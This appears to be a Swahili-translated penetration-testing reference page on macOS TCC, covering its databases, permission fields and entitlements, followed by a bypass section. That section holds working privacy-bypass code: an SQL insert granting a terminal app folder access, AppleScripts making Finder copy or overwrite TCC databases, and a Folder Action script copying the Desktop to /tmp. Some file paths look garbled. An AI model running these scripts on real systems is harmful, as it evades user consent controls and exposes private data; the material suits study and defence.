macOS TCC

Reading time: 18 minutes

Basic Information

TCC (Transparency, Consent, and Control) ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji wa urahisi, na upatikanaji wa diski nzima. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa kwa programu kuingia kwenye vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao.

Watumiaji wanakutana na TCC wakati programu zinapohitaji ruhusa kwa vipengele vilivyolindwa. Hii inaonekana kupitia kipeperushi kinachowaruhusu watumiaji kuthibitisha au kukataa ruhusa. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama kuvuta na kuacha faili ndani ya programu, ili kutoa ruhusa kwa faili maalum, kuhakikisha kwamba programu zina upatikanaji tu kwa kile kilichoruhusiwa wazi.

TCC inashughulikiwa na daemon iliyoko katika /System/Library/PrivateFrameworks/TCC.framework/Support/tccd na imewekwa katika /System/Library/LaunchDaemons/com.apple.tccd.system.plist (ikiandikisha huduma ya mach com.apple.tccd.system).

Kuna tccd ya hali ya mtumiaji inayotembea kwa kila mtumiaji aliyeingia iliyofafanuliwa katika /System/Library/LaunchAgents/com.apple.tccd.plist ikisajili huduma za mach com.apple.tccd na com.apple.usernotifications.delegate.com.apple.tccd.

Hapa unaweza kuona tccd ikifanya kazi kama mfumo na kama mtumiaji:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

Permissions ni zinazoroteshwa kutoka kwa programu ya mzazi na permissions zinarekodiwa kulingana na Bundle ID na Developer ID.

TCC Databases

Ruhusa/zuio hizo hifadhiwa katika baadhi ya TCC databases:

• Database ya mfumo mzima katika /Library/Application Support/com.apple.TCC/TCC.db.
• Database hii ni SIP protected, hivyo ni lazima kupita SIP ili kuandika ndani yake.
• Database ya mtumiaji TCC $HOME/Library/Application Support/com.apple.TCC/TCC.db kwa mapendeleo ya mtumiaji binafsi.
• Database hii inalindwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili inaweza kuandika ndani yake (lakini haijalindwa na SIP).

• Kuna database ya tatu ya TCC katika /var/db/locationd/clients.plist kuonyesha wateja walio ruhusiwa kufikia huduma za eneo.
• Faili iliyo na ulinzi wa SIP /Users/carlospolop/Downloads/REG.db (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina eneo la TCC databases zote halali.
• Faili iliyo na ulinzi wa SIP /Users/carlospolop/Downloads/MDMOverrides.plist (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina ruhusa zaidi za TCC zilizotolewa.
• Faili iliyo na ulinzi wa SIP /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (inaweza kusomwa na mtu yeyote) ni orodha ya ruhusa za programu zinazohitaji ubaguzi wa TCC.

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

Uliza databases

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Get all FDA
sqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

• service ni uwakilishi wa mfuatano wa ruhusa za TCC
• client ni bundle ID au njia ya binary yenye ruhusa
• client_type inaonyesha ikiwa ni Kitambulisho cha Bundle(0) au njia kamili(1)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>

• auth_value inaweza kuwa na thamani tofauti: denied(0), unknown(1), allowed(2), au limited(3).
• auth_reason inaweza kuchukua thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
• Uwanja wa csreq upo ili kuonyesha jinsi ya kuthibitisha binary ili kutekeleza na kutoa ruhusa za TCC:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"

• Kwa maelezo zaidi kuhusu sehemu nyingine za jedwali angalia chapisho hili la blog.

Unaweza pia kuangalia idhini ambazo tayari zimetolewa kwa programu katika System Preferences --> Security & Privacy --> Privacy --> Files and Folders.

Rejesha ruhusa za TCC

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC Signature Checks

The TCC database stores the Bundle ID of the application, but it also stores information about the signature to make sure the App asking to use the a permission is the correct one.

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

Haki & Ruhusa za TCC

Programu hazihitaji tu ku omba na kuwa zimepewa ruhusa kwa baadhi ya rasilimali, zinahitaji pia kuwa na haki zinazohusiana.
Kwa mfano, Telegram ina haki com.apple.security.device.camera kuomba kupata kamera. Programu ambayo haina haki hii haitaweza kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa).

Hata hivyo, ili programu zipate kufikia folda fulani za mtumiaji, kama vile ~/Desktop, ~/Downloads na ~/Documents, hazihitaji kuwa na haki maalum zaidi. Mfumo utaendesha ufikiaji kwa uwazi na kuuliza mtumiaji inapohitajika.

Programu za Apple hazitaunda maonyesho. Zinajumuisha haki zilizotolewa mapema katika orodha yao ya haki, ikimaanisha hazita wahi kuunda popup, wala hazitaonekana katika yoyote ya maktaba za TCC. Kwa mfano:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

Hii itazuia Calendar kumuuliza mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani.

Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii orodha ya zinazojulikana.

Mahali salama yasiyolindwa

• $HOME (mwenyewe)
• $HOME/.ssh, $HOME/.aws, n.k.
• /tmp

Nia ya Mtumiaji / com.apple.macl

Kama ilivyotajwa hapo awali, inawezekana kutoa ufikiaji kwa App kwa faili kwa kuhamasisha na kuacha. Ufikiaji huu hautatajwa katika yoyote TCC database lakini kama sifa panua ya faili. Sifa hii itahifadhi UUID ya app iliyoidhinishwa:

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

Sifa ya ziada com.apple.macl haiwezi kufutwa kama sifa nyingine za ziada kwa sababu in lindwa na SIP. Hata hivyo, kama ilivyoelezwa katika chapisho hili, inawezekana kuizima kwa kuzipa faili, kuifuta na kuifungua.

TCC Privesc & Bypasses

Ingiza katika TCC

Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni):

INSERT INTO access (
service,
client,
client_type,
auth_value,
auth_reason,
auth_version,
csreq,
policy_id,
indirect_object_identifier_type,
indirect_object_identifier,
indirect_object_code_identity,
flags,
last_modified,
pid,
pid_version,
boot_uuid,
last_reminded
) VALUES (
'kTCCServiceSystemPolicyDesktopFolder', -- service
'com.googlecode.iterm2', -- client
0, -- client_type (0 - bundle id)
2, -- auth_value  (2 - allowed)
3, -- auth_reason (3 - "User Set")
1, -- auth_version (always 1)
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
NULL, -- policy_id
NULL, -- indirect_object_identifier_type
'UNUSED', -- indirect_object_identifier - default value
NULL, -- indirect_object_code_identity
0, -- flags
strftime('%s', 'now'), -- last_modified with default current timestamp
NULL, -- assuming pid is an integer and optional
NULL, -- assuming pid_version is an integer and optional
'UNUSED', -- default value for boot_uuid
strftime('%s', 'now') -- last_reminded with default current timestamp
);

TCC Payloads

Ikiwa umeweza kuingia ndani ya programu yenye ruhusa za TCC angalia ukurasa ufuatao wenye TCC payloads za kuzitumia:

macOS TCC Payloads

Apple Events

Jifunze kuhusu Apple Events katika:

macOS Apple Events

Automation (Finder) to FDA*

Jina la TCC la ruhusa ya Automation ni: kTCCServiceAppleEvents
Ruhusa hii maalum ya TCC pia inaonyesha programu ambayo inaweza kudhibitiwa ndani ya hifadhidata ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu).

Finder ni programu ambayo daima ina FDA (hata kama haionekani kwenye UI), hivyo ikiwa una Automation ruhusa juu yake, unaweza kutumia ruhusa zake kufanya baadhi ya vitendo.
Katika kesi hii programu yako itahitaji ruhusa kTCCServiceAppleEvents juu ya com.apple.Finder.

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

Unaweza kutumia hii kuandika database yako ya TCC ya mtumiaji.

Hii ni prompt ya TCC kupata ruhusa za Automation juu ya Finder:

osascript<<EOD
set theScript to "touch /tmp/something"

tell application "Automator"
set actionID to Automator action id "com.apple.RunShellScript"
tell (make new workflow)
add actionID to it
tell last Automator action
set value of setting "inputMethod" to 1
set value of setting "COMMAND_STRING" to theScript
end tell
execute it
end tell
activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

Ikitukana na Script Editor app, inaweza kudhibiti Finder, lakini kwa kutumia AppleScript huwezi kulazimisha itekeleze script.

Automation (SE) kwa baadhi ya TCC

Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na vitendo vya folda vinaweza kufikia baadhi ya folda za TCC (Desktop, Documents & Downloads), hivyo script kama ifuatayo inaweza kutumika kuboresha tabia hii:

# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*

Automatisering kwenye System Events + Uwezo wa kufikia (kTCCServicePostEvent) inaruhusu kutuma vibonye kwa michakato. Kwa njia hii unaweza kutumia Finder kubadilisha TCC.db ya watumiaji au kutoa FDA kwa programu yoyote (ingawa nenosiri linaweza kuombwa kwa hili).

Mfano wa Finder kuandika tena TCC.db ya watumiaji:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility kwa FDA*

Angalia ukurasa huu kwa payloads za kutumia vibaya ruhusa za Accessibility ili kupandisha hadhi hadi FDA* au kuendesha keylogger kwa mfano.

Mteja wa Usalama wa Kituo kwa FDA

Ikiwa una kTCCServiceEndpointSecurityClient, una FDA. Mwisho.

Faili ya Sera ya Mfumo SysAdmin kwa FDA

kTCCServiceSystemPolicySysAdminFiles inaruhusu kubadilisha sifa ya NFSHomeDirectory ya mtumiaji ambayo inabadilisha folda yake ya nyumbani na hivyo inaruhusu kuepuka TCC.

DB ya TCC ya Mtumiaji kwa FDA

Kupata ruhusa za kuandika juu ya database ya TCC ya mtumiaji huwezi kujipa FDA ruhusa, ni yule aliye katika database ya mfumo pekee anayeweza kutoa hiyo.

Lakini unaweza kujipe Haki za Automation kwa Finder, na kutumia mbinu ya awali kupandisha hadi FDA*.

FDA hadi ruhusa za TCC

Upatikanaji wa Disk Kamili ni jina la TCC ni kTCCServiceSystemPolicyAllFiles

Sidhani kama hii ni kweli privesc, lakini kwa kuwa tu unapata kuwa na manufaa: Ikiwa unadhibiti programu yenye FDA unaweza kubadilisha database ya TCC ya watumiaji na kujipa ufikiaji wowote. Hii inaweza kuwa na manufaa kama mbinu ya kudumu endapo unaweza kupoteza ruhusa zako za FDA.

Kuepuka SIP hadi Kuepuka TCC

Database ya TCC ya mfumo inalindwa na SIP, ndiyo maana ni mchakato pekee wenye haki zilizotajwa zitakuwa na uwezo wa kuibadilisha. Hivyo, ikiwa mshambuliaji atapata kuepuka SIP juu ya faili (kuwa na uwezo wa kubadilisha faili iliyozuiliwa na SIP), ataweza:

• Kuondoa ulinzi wa database ya TCC, na kujipa ruhusa zote za TCC. Anaweza kutumia vibaya faili yoyote kati ya hizi kwa mfano:
• Database ya mifumo ya TCC
• REG.db
• MDMOverrides.plist

Hata hivyo, kuna chaguo lingine la kutumia vibaya kuepuka SIP ili kuepuka TCC, faili /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist ni orodha ya ruhusa za programu zinazohitaji msamaha wa TCC. Hivyo, ikiwa mshambuliaji anaweza kuondoa ulinzi wa SIP kutoka kwa faili hii na kuongeza programu yake mwenyewe programu hiyo itakuwa na uwezo wa kuepuka TCC.
Kwa mfano kuongeza terminal:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC Bypasses

macOS TCC Bypasses

References

• https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive
• https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
• https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/
• https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/